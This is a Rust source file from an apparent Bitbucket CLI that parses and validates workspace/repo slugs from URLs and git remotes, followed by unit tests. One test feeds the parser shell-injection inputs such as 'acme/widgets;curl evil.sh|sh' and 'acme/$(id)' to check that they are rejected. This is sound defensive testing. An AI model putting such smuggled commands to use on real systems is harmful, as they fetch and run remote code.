Skip to main content

bb_cli/
repo.rs

1use crate::error::{BbError, Result};
2use crate::git;
3use std::fmt;
4
5const MAX_SEGMENT: usize = 100;
6
7#[derive(Debug, Clone, PartialEq, Eq)]
8pub struct RepoSlug {
9    pub workspace: String,
10    pub repo: String,
11}
12
13impl fmt::Display for RepoSlug {
14    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
15        write!(f, "{}/{}", self.workspace, self.repo)
16    }
17}
18
19fn valid_segment(s: &str) -> bool {
20    !s.is_empty()
21        && s.len() <= MAX_SEGMENT
22        && s.chars()
23            .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.'))
24        && s != "."
25        && s != ".."
26}
27
28impl RepoSlug {
29    pub fn parse(input: &str) -> Result<Self> {
30        let input = input.trim();
31        let body = if let Some(rest) = input.strip_prefix("git@bitbucket.org:") {
32            rest
33        } else if let Some(rest) = input.strip_prefix("https://bitbucket.org/") {
34            rest
35        } else if let Some(rest) = input.strip_prefix("http://bitbucket.org/") {
36            rest
37        } else if input.contains("://") || input.contains('@') {
38            return Err(BbError::Config(format!(
39                "unsupported repository url `{input}` — only bitbucket.org is supported"
40            )));
41        } else {
42            input
43        };
44
45        let body = body.trim_end_matches('/');
46        let body = body.strip_suffix(".git").unwrap_or(body);
47
48        let mut parts = body.split('/');
49        let workspace = parts.next().unwrap_or_default();
50        let repo = parts.next().unwrap_or_default();
51        if parts.next().is_some() {
52            return Err(BbError::Config(format!(
53                "expected `workspace/repo`, got `{input}`"
54            )));
55        }
56        if !valid_segment(workspace) || !valid_segment(repo) {
57            return Err(BbError::Config(format!(
58                "invalid repository `{input}` — expected `workspace/repo`"
59            )));
60        }
61
62        Ok(RepoSlug {
63            workspace: workspace.to_string(),
64            repo: repo.to_string(),
65        })
66    }
67
68    /// Percent-encoded path fragment for use in API urls.
69    pub fn path(&self) -> String {
70        format!(
71            "{}/{}",
72            urlencoding::encode(&self.workspace),
73            urlencoding::encode(&self.repo)
74        )
75    }
76
77    pub fn browse_url(&self) -> String {
78        format!("https://bitbucket.org/{}/{}", self.workspace, self.repo)
79    }
80}
81
82pub fn resolve(explicit: Option<&str>) -> Result<RepoSlug> {
83    if let Some(value) = explicit {
84        return RepoSlug::parse(value);
85    }
86    if let Ok(value) = std::env::var("BB_REPO") {
87        if !value.trim().is_empty() {
88            return RepoSlug::parse(&value);
89        }
90    }
91    if !git::in_repo() {
92        return Err(BbError::Config(
93            "no git repository here — pass `--repo workspace/repo`".into(),
94        ));
95    }
96    // `origin` first, since that is the overwhelmingly common case, then any
97    // other configured remote. A clone whose `origin` is a fork or a mirror
98    // still resolves as long as some remote points at Bitbucket.
99    let mut candidates: Vec<String> = Vec::new();
100    if let Ok(url) = git::remote_url("origin") {
101        candidates.push(url);
102    }
103    for name in git::remotes().unwrap_or_default() {
104        if name == "origin" {
105            continue;
106        }
107        if let Ok(url) = git::remote_url(&name) {
108            candidates.push(url);
109        }
110    }
111
112    if let Some(slug) = first_bitbucket_slug(candidates.iter().map(String::as_str)) {
113        return Ok(slug);
114    }
115
116    Err(BbError::Config(if candidates.is_empty() {
117        "no git remotes configured — pass `--repo workspace/repo`".into()
118    } else {
119        format!(
120            "no bitbucket.org remote found (checked {}) — pass `--repo workspace/repo`",
121            candidates.len()
122        )
123    }))
124}
125
126/// First URL in the sequence that parses as a Bitbucket slug.
127fn first_bitbucket_slug<'a>(urls: impl Iterator<Item = &'a str>) -> Option<RepoSlug> {
128    urls.filter_map(|url| RepoSlug::parse(url).ok()).next()
129}
130
131#[cfg(test)]
132#[allow(clippy::unwrap_used)]
133mod tests {
134    use super::*;
135
136    #[test]
137    fn first_bitbucket_url_wins_over_earlier_non_bitbucket_remotes() {
138        let urls = [
139            "https://github.com/someone/fork.git",
140            "git@bitbucket.org:acme/widgets.git",
141        ];
142        let picked = first_bitbucket_slug(urls.iter().copied());
143        assert_eq!(
144            picked.map(|s| s.to_string()),
145            Some("acme/widgets".to_string())
146        );
147    }
148
149    #[test]
150    fn no_bitbucket_remote_yields_none() {
151        let urls = ["https://github.com/someone/fork.git"];
152        assert!(first_bitbucket_slug(urls.iter().copied()).is_none());
153    }
154
155    #[test]
156    fn parses_plain_slug() {
157        let s = RepoSlug::parse("acme/widgets").unwrap();
158        assert_eq!(s.workspace, "acme");
159        assert_eq!(s.repo, "widgets");
160        assert_eq!(s.to_string(), "acme/widgets");
161    }
162
163    #[test]
164    fn parses_https_url_with_and_without_git_suffix() {
165        assert_eq!(
166            RepoSlug::parse("https://bitbucket.org/acme/widgets")
167                .unwrap()
168                .to_string(),
169            "acme/widgets"
170        );
171        assert_eq!(
172            RepoSlug::parse("https://bitbucket.org/acme/widgets.git")
173                .unwrap()
174                .to_string(),
175            "acme/widgets"
176        );
177    }
178
179    #[test]
180    fn parses_ssh_url() {
181        assert_eq!(
182            RepoSlug::parse("git@bitbucket.org:acme/widgets.git")
183                .unwrap()
184                .to_string(),
185            "acme/widgets"
186        );
187    }
188
189    #[test]
190    fn rejects_shell_metacharacters() {
191        for bad in [
192            "acme/widgets;curl evil.sh|sh",
193            "acme/wid gets",
194            "acme/$(id)",
195            "a/b/c",
196            "acme",
197        ] {
198            assert!(RepoSlug::parse(bad).is_err(), "must reject {bad:?}");
199        }
200    }
201
202    #[test]
203    fn rejects_non_bitbucket_host() {
204        assert!(RepoSlug::parse("https://evil.example.com/acme/widgets").is_err());
205    }
206}